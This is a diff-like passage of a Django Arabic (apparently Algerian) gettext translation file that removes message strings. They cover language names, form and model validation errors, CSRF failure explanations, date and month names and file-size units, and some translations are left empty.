-msgid "Marathi" -msgstr "المهاراتية" - -msgid "Malay" -msgstr "ملاي" - -msgid "Burmese" -msgstr "البورمية" - -msgid "Norwegian Bokmål" -msgstr "النرويجية" - -msgid "Nepali" -msgstr "النيبالية" - -msgid "Dutch" -msgstr "الهولندية" - -msgid "Norwegian Nynorsk" -msgstr "النينورسك نرويجية" - -msgid "Ossetic" -msgstr "الأوسيتيكية" - -msgid "Punjabi" -msgstr "البنجابية" - -msgid "Polish" -msgstr "البولندية" - -msgid "Portuguese" -msgstr "البرتغالية" - -msgid "Brazilian Portuguese" -msgstr "البرتغالية البرازيلية" - -msgid "Romanian" -msgstr "الرومانية" - -msgid "Russian" -msgstr "الروسية" - -msgid "Slovak" -msgstr "السلوفاكية" - -msgid "Slovenian" -msgstr "السلوفانية" - -msgid "Albanian" -msgstr "الألبانية" - -msgid "Serbian" -msgstr "الصربية" - -msgid "Serbian Latin" -msgstr "اللاتينية الصربية" - -msgid "Swedish" -msgstr "السويدية" - -msgid "Swahili" -msgstr "السواحلية" - -msgid "Tamil" -msgstr "التاميل" - -msgid "Telugu" -msgstr "التيلوغو" - -msgid "Tajik" -msgstr "الطاجيكية" - -msgid "Thai" -msgstr "التايلندية" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "التركية" - -msgid "Tatar" -msgstr "التتاريية" - -msgid "Udmurt" -msgstr "الأدمرتية" - -msgid "Ukrainian" -msgstr "الأكرانية" - -msgid "Urdu" -msgstr "الأوردو" - -msgid "Uzbek" -msgstr "الأوزبكية" - -msgid "Vietnamese" -msgstr "الفيتنامية" - -msgid "Simplified Chinese" -msgstr "الصينية المبسطة" - -msgid "Traditional Chinese" -msgstr "الصينية التقليدية" - -msgid "Messages" -msgstr "الرسائل" - -msgid "Site Maps" -msgstr "خرائط الموقع" - -msgid "Static Files" -msgstr "الملفات الثابتة" - -msgid "Syndication" -msgstr "توظيف النشر" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "رقم الصفحة ليس عددًا صحيحًا" - -msgid "That page number is less than 1" -msgstr "رقم الصفحة أقل من 1" - -msgid "That page contains no results" -msgstr "هذه الصفحة لا تحتوي على نتائج" - -msgid "Enter a valid value." -msgstr "أدخل قيمة صحيحة." - -msgid "Enter a valid URL." -msgstr "أدخل رابطاً صحيحاً." - -msgid "Enter a valid integer." -msgstr "أدخل رقم صالح." - -msgid "Enter a valid email address." -msgstr "أدخل عنوان بريد إلكتروني صحيح." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"أدخل “slug” صالحة تتكون من أحرف أو أرقام أو الشرطة السفلية أو الواصلات." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"أدخل “slug” صالحة تتكون من أحرف Unicode أو الأرقام أو الشرطة السفلية أو " -"الواصلات." - -msgid "Enter a valid IPv4 address." -msgstr "أدخل عنوان IPv4 صحيح." - -msgid "Enter a valid IPv6 address." -msgstr "أدخل عنوان IPv6 صحيح." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "أدخل عنوان IPv4 أو عنوان IPv6 صحيح." - -msgid "Enter only digits separated by commas." -msgstr "أدخل أرقاما فقط مفصول بينها بفواصل." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "تحقق من أن هذه القيمة هي %(limit_value)s (إنها %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "تحقق من أن تكون هذه القيمة أقل من %(limit_value)s أو مساوية لها." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "تحقق من أن تكون هذه القيمة أكثر من %(limit_value)s أو مساوية لها." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[1] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[2] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[3] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[4] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[5] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأقل (هي تحتوي " -"حالياً على %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[1] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[2] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[3] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[4] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." -msgstr[5] "" -"تأكد أن هذه القيمة تحتوي على %(limit_value)d حرف أو رمز على الأكثر (هي تحتوي " -"حالياً على %(show_value)d)." - -msgid "Enter a number." -msgstr "أدخل رقماً." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "تحقق من أن تدخل %(max)s أرقام لا أكثر." -msgstr[1] "تحقق من أن تدخل رقم %(max)s لا أكثر." -msgstr[2] "تحقق من أن تدخل %(max)s رقمين لا أكثر." -msgstr[3] "تحقق من أن تدخل %(max)s أرقام لا أكثر." -msgstr[4] "تحقق من أن تدخل %(max)s أرقام لا أكثر." -msgstr[5] "تحقق من أن تدخل %(max)s أرقام لا أكثر." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." -msgstr[1] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." -msgstr[2] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." -msgstr[3] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." -msgstr[4] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." -msgstr[5] "تحقق من أن تدخل %(max)s خانات عشرية لا أكثر." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." -msgstr[1] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." -msgstr[2] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." -msgstr[3] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." -msgstr[4] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." -msgstr[5] "تحقق من أن تدخل %(max)s أرقام قبل الفاصل العشري لا أكثر." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"امتداد الملف “%(extension)s” غير مسموح به. الامتدادات المسموح بها هي:" -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "لا يُسمح بالأحرف الخالية." - -msgid "and" -msgstr "و" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s بهذا %(field_labels)s موجود سلفاً." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "القيمة %(value)r ليست خيارا صحيحاً." - -msgid "This field cannot be null." -msgstr "لا يمكن ترك هذا الحقل خالي." - -msgid "This field cannot be blank." -msgstr "لا يمكن ترك هذا الحقل فارغاً." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "النموذج %(model_name)s والحقل %(field_label)s موجود مسبقاً." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s يجب أن يكون فريد لـ %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "حقل نوع: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "يجب أن تكون القيمة “%(value)s” إما True أو False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "يجب أن تكون القيمة “%(value)s” إما True أو False أو None." - -msgid "Boolean (Either True or False)" -msgstr "ثنائي (إما True أو False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "سلسلة نص (%(max_length)s كحد أقصى)" - -msgid "Comma-separated integers" -msgstr "أرقام صحيحة مفصولة بفواصل" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"تحتوي القيمة “%(value)s” على تنسيق تاريخ غير صالح. يجب أن يكون بتنسيق YYYY-" -"MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"تحتوي القيمة “%(value)s” على التنسيق الصحيح (YYYY-MM-DD) ولكنه تاريخ غير " -"صالح." - -msgid "Date (without time)" -msgstr "التاريخ (دون الوقت)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"تحتوي القيمة “%(value)s” على تنسيق غير صالح. يجب أن يكون بتنسيق YYYY-MM-DD " -"HH: MM [: ss [.uuuuuu]] [TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"تحتوي القيمة “%(value)s” على التنسيق الصحيح (YYYY-MM-DD HH: MM [: ss [." -"uuuuuu]] [TZ]) ولكنها تعد تاريخًا / وقتًا غير صالحين." - -msgid "Date (with time)" -msgstr "التاريخ (مع الوقت)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "يجب أن تكون القيمة “%(value)s” رقمًا عشريًا." - -msgid "Decimal number" -msgstr "رقم عشري" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"تحتوي القيمة “%(value)s” على تنسيق غير صالح. يجب أن يكون بتنسيق [DD] [[HH:] " -"MM:] ss [.uuuuuu]." - -msgid "Duration" -msgstr "المدّة" - -msgid "Email address" -msgstr "عنوان بريد إلكتروني" - -msgid "File path" -msgstr "مسار الملف" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "يجب أن تكون القيمة “%(value)s” قيمة عائمة." - -msgid "Floating point number" -msgstr "رقم فاصلة عائمة" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "يجب أن تكون القيمة “%(value)s” عددًا صحيحًا." - -msgid "Integer" -msgstr "عدد صحيح" - -msgid "Big (8 byte) integer" -msgstr "عدد صحيح كبير (8 بايت)" - -msgid "Small integer" -msgstr "عدد صحيح صغير" - -msgid "IPv4 address" -msgstr "عنوان IPv4" - -msgid "IP address" -msgstr "عنوان IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "يجب أن تكون القيمة “%(value)s” إما None أو True أو False." - -msgid "Boolean (Either True, False or None)" -msgstr "ثنائي (إما True أو False أو None)" - -msgid "Positive big integer" -msgstr "عدد صحيح كبير موجب" - -msgid "Positive integer" -msgstr "عدد صحيح موجب" - -msgid "Positive small integer" -msgstr "عدد صحيح صغير موجب" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (حتى %(max_length)s)" - -msgid "Text" -msgstr "نص" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"تحتوي القيمة “%(value)s” على تنسيق غير صالح. يجب أن يكون بتنسيق HH: MM [: ss " -"[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"تحتوي القيمة “%(value)s” على التنسيق الصحيح (HH: MM [: ss [.uuuuuu]]) ولكنه " -"وقت غير صالح." - -msgid "Time" -msgstr "وقت" - -msgid "URL" -msgstr "رابط" - -msgid "Raw binary data" -msgstr "البيانات الثنائية الخام" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” ليس UUID صالحًا." - -msgid "Universally unique identifier" -msgstr "المعرف الفريد العالمي (UUID)" - -msgid "File" -msgstr "ملف" - -msgid "Image" -msgstr "صورة" - -msgid "A JSON object" -msgstr "كائن JSON" - -msgid "Value must be valid JSON." -msgstr "يجب أن تكون قيمة JSON صالحة." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "النموذج %(model)s ذو الحقل و القيمة %(field)s %(value)r غير موجود." - -msgid "Foreign Key (type determined by related field)" -msgstr "الحقل المرتبط (تم تحديد النوع وفقاً للحقل المرتبط)" - -msgid "One-to-one relationship" -msgstr "علاقة واحد إلى واحد" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s علاقة" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s علاقات" - -msgid "Many-to-many relationship" -msgstr "علاقة متعدد إلى متعدد" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "هذا الحقل مطلوب." - -msgid "Enter a whole number." -msgstr "أدخل رقما صحيحا." - -msgid "Enter a valid date." -msgstr "أدخل تاريخاً صحيحاً." - -msgid "Enter a valid time." -msgstr "أدخل وقتاً صحيحاً." - -msgid "Enter a valid date/time." -msgstr "أدخل تاريخاً/وقتاً صحيحاً." - -msgid "Enter a valid duration." -msgstr "أدخل مدّة صحيحة" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "يجب أن يتراوح عدد الأيام بين {min_days} و {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "لم يتم ارسال ملف، الرجاء التأكد من نوع ترميز الاستمارة." - -msgid "No file was submitted." -msgstr "لم يتم إرسال اي ملف." - -msgid "The submitted file is empty." -msgstr "الملف الذي قمت بإرساله فارغ." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[1] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[2] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[3] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[4] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." -msgstr[5] "" -"تأكد أن إسم هذا الملف يحتوي على %(max)d حرف على الأكثر (هو يحتوي الآن على " -"%(length)d حرف)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"رجاءً أرسل ملف أو صح علامة صح عند مربع اختيار \\\"فارغ\\\"، وليس كلاهما." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"قم برفع صورة صحيحة، الملف الذي قمت برفعه إما أنه ليس ملفا لصورة أو أنه ملف " -"معطوب." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "انتق خياراً صحيحاً. %(value)s ليس أحد الخيارات المتاحة." - -msgid "Enter a list of values." -msgstr "أدخل قائمة من القيم." - -msgid "Enter a complete value." -msgstr "إدخال قيمة كاملة." - -msgid "Enter a valid UUID." -msgstr "أدخل قيمة UUID صحيحة." - -msgid "Enter a valid JSON." -msgstr "ادخل كائن JSON صالح." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(الحقل الخفي %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"نموذج بيانات الإدارة مفقود أو تم العبث به. %(field_names)sمن الحقول مفقود. " -"قد تحتاج إلى رفع تقرير بالمشكلة إن استمرت الحالة." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" -msgstr[5] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" -msgstr[5] "" - -msgid "Order" -msgstr "الترتيب" - -msgid "Delete" -msgstr "احذف" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "رجاء صحّح بيانات %(field)s المتكررة." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "رجاء صحّح بيانات %(field)s المتكررة والتي يجب أن تكون مُميّزة." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"رجاء صحّح بيانات %(field_name)s المتكررة والتي يجب أن تكون مُميّزة لـ%(lookup)s " -"في %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "رجاءً صحّح القيم المُكرّرة أدناه." - -msgid "The inline value did not match the parent instance." -msgstr "القيمة المضمنة لا تتطابق مع المثيل الأصلي." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "انتق خياراً صحيحاً. اختيارك ليس أحد الخيارات المتاحة." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” ليست قيمة صالحة." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"لا يمكن تفسير٪ %(datetime)s في المنطقة الزمنية٪ %(current_timezone)s؛ قد " -"تكون غامضة أو غير موجودة." - -msgid "Clear" -msgstr "تفريغ" - -msgid "Currently" -msgstr "حالياً" - -msgid "Change" -msgstr "عدّل" - -msgid "Unknown" -msgstr "مجهول" - -msgid "Yes" -msgstr "نعم" - -msgid "No" -msgstr "لا" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "نعم,لا,ربما" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d بايت" -msgstr[1] "%(size)d بايت واحد " -msgstr[2] "%(size)d بايتان" -msgstr[3] "%(size)d بايت" -msgstr[4] "%(size)d بايت" -msgstr[5] "%(size)d بايت" - -#, python-format -msgid "%s KB" -msgstr "%s ك.ب" - -#, python-format -msgid "%s MB" -msgstr "%s م.ب" - -#, python-format -msgid "%s GB" -msgstr "%s ج.ب" - -#, python-format -msgid "%s TB" -msgstr "%s ت.ب" - -#, python-format -msgid "%s PB" -msgstr "%s ب.ب" - -msgid "p.m." -msgstr "م" - -msgid "a.m." -msgstr "ص" - -msgid "PM" -msgstr "م" - -msgid "AM" -msgstr "ص" - -msgid "midnight" -msgstr "منتصف الليل" - -msgid "noon" -msgstr "ظهراً" - -msgid "Monday" -msgstr "الاثنين" - -msgid "Tuesday" -msgstr "الثلاثاء" - -msgid "Wednesday" -msgstr "الأربعاء" - -msgid "Thursday" -msgstr "الخميس" - -msgid "Friday" -msgstr "الجمعة" - -msgid "Saturday" -msgstr "السبت" - -msgid "Sunday" -msgstr "الأحد" - -msgid "Mon" -msgstr "إثنين" - -msgid "Tue" -msgstr "ثلاثاء" - -msgid "Wed" -msgstr "أربعاء" - -msgid "Thu" -msgstr "خميس" - -msgid "Fri" -msgstr "جمعة" - -msgid "Sat" -msgstr "سبت" - -msgid "Sun" -msgstr "أحد" - -msgid "January" -msgstr "جانفي" - -msgid "February" -msgstr "فيفري" - -msgid "March" -msgstr "مارس" - -msgid "April" -msgstr "أفريل" - -msgid "May" -msgstr "ماي" - -msgid "June" -msgstr "جوان" - -msgid "July" -msgstr "جويليه" - -msgid "August" -msgstr "أوت" - -msgid "September" -msgstr "سبتمبر" - -msgid "October" -msgstr "أكتوبر" - -msgid "November" -msgstr "نوفمبر" - -msgid "December" -msgstr "ديسمبر" - -msgid "jan" -msgstr "جانفي" - -msgid "feb" -msgstr "فيفري" - -msgid "mar" -msgstr "مارس" - -msgid "apr" -msgstr "أفريل" - -msgid "may" -msgstr "ماي" - -msgid "jun" -msgstr "جوان" - -msgid "jul" -msgstr "جويليه" - -msgid "aug" -msgstr "أوت" - -msgid "sep" -msgstr "سبتمبر" - -msgid "oct" -msgstr "أكتوبر" - -msgid "nov" -msgstr "نوفمبر" - -msgid "dec" -msgstr "ديسمبر" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "جانفي" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "فيفري" - -msgctxt "abbrev. month" -msgid "March" -msgstr "مارس" - -msgctxt "abbrev. month" -msgid "April" -msgstr "أفريل" - -msgctxt "abbrev. month" -msgid "May" -msgstr "ماي" - -msgctxt "abbrev. month" -msgid "June" -msgstr "جوان" - -msgctxt "abbrev. month" -msgid "July" -msgstr "جويليه" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "أوت" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "سبتمبر" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "أكتوبر" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "نوفمبر" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "ديسمبر" - -msgctxt "alt. month" -msgid "January" -msgstr "جانفي" - -msgctxt "alt. month" -msgid "February" -msgstr "فيفري" - -msgctxt "alt. month" -msgid "March" -msgstr "مارس" - -msgctxt "alt. month" -msgid "April" -msgstr "أفريل" - -msgctxt "alt. month" -msgid "May" -msgstr "ماي" - -msgctxt "alt. month" -msgid "June" -msgstr "جوان" - -msgctxt "alt. month" -msgid "July" -msgstr "جويليه" - -msgctxt "alt. month" -msgid "August" -msgstr "أوت" - -msgctxt "alt. month" -msgid "September" -msgstr "سبتمبر" - -msgctxt "alt. month" -msgid "October" -msgstr "أكتوبر" - -msgctxt "alt. month" -msgid "November" -msgstr "نوفمبر" - -msgctxt "alt. month" -msgid "December" -msgstr "ديسمبر" - -msgid "This is not a valid IPv6 address." -msgstr "هذا ليس عنوان IPv6 صحيح." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "أو" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "، " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" -msgstr[5] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" -msgstr[5] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" -msgstr[5] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" -msgstr[5] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" -msgstr[5] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" -msgstr[5] "" - -msgid "Forbidden" -msgstr "ممنوع" - -msgid "CSRF verification failed. Request aborted." -msgstr "تم الفشل للتحقق من CSRF. تم إنهاء الطلب." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"أنت ترى هذه الرسالة لأن موقع HTTPS هذا يتطلب \"عنوان مرجعي\" ليتم إرساله " -"بواسطة متصفح الويب الخاص بك ، ولكن لم يتم إرسال أي شيء. هذا العنوان مطلوب " -"لأسباب أمنية ، لضمان عدم اختراق متصفحك من قبل أطراف أخرى." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"إذا قمت بتكوين المستعرض الخاص بك لتعطيل رؤوس “Referer” ، فالرجاء إعادة " -"تمكينها ، على الأقل لهذا الموقع ، أو لاتصالات HTTPS ، أو لطلبات “same-" -"origin”." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"إذا كنت تستخدم العلامة أو تتضمن رأس “Referrer-Policy: no-referrer” ، فيرجى إزالتها. تتطلب حماية " -"CSRF رأس “Referer” القيام بالتحقق من “strict referer”. إذا كنت مهتمًا " -"بالخصوصية ، فاستخدم بدائل مثل للروابط إلى مواقع " -"الجهات الخارجية." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"تشاهد هذه الرسالة لأن هذا الموقع يتطلب ملف تعريف ارتباط CSRF Cookie عند " -"إرسال النماذج. ملف تعريف ارتباط Cookie هذا مطلوب لأسباب أمنية ، لضمان عدم " -"اختطاف متصفحك من قبل أطراف ثالثة." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"إذا قمت بتكوين المستعرض الخاص بك لتعطيل ملفات تعريف الارتباط Cookies ، يرجى " -"إعادة تمكينها ، على الأقل لهذا الموقع ، أو لطلبات “same-origin”." - -msgid "More information is available with DEBUG=True." -msgstr "يتوفر مزيد من المعلومات عند ضبط الخيار DEBUG=True." - -msgid "No year specified" -msgstr "لم تحدد السنة" - -msgid "Date out of range" -msgstr "تاريخ خارج النطاق" - -msgid "No month specified" -msgstr "لم تحدد الشهر" - -msgid "No day specified" -msgstr "لم تحدد اليوم" - -msgid "No week specified" -msgstr "لم تحدد الأسبوع" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "لا يوجد %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"التاريخ بالمستقبل %(verbose_name_plural)s غير متوفر لأن قيمة %(class_name)s." -"allow_future هي False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "سلسلة تاريخ غير صالحة “%(datestr)s” شكل معين “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "لم يعثر على أي %(verbose_name)s مطابقة لهذا الإستعلام" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "الصفحة ليست \"الأخيرة\" ، ولا يمكن تحويلها إلى عدد صحيح." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "صفحة خاطئة (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "القائمة فارغة و “%(class_name)s.allow_empty” هي False." - -msgid "Directory indexes are not allowed here." -msgstr "لا يسمح لفهارس الدليل هنا." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” غير موجود" - -#, python-format -msgid "Index of %(directory)s" -msgstr "فهرس لـ %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "تمَّت عملية التثبيت بنجاح! تهانينا!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"عرض ملاحظات الإصدار ل جانغو " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." 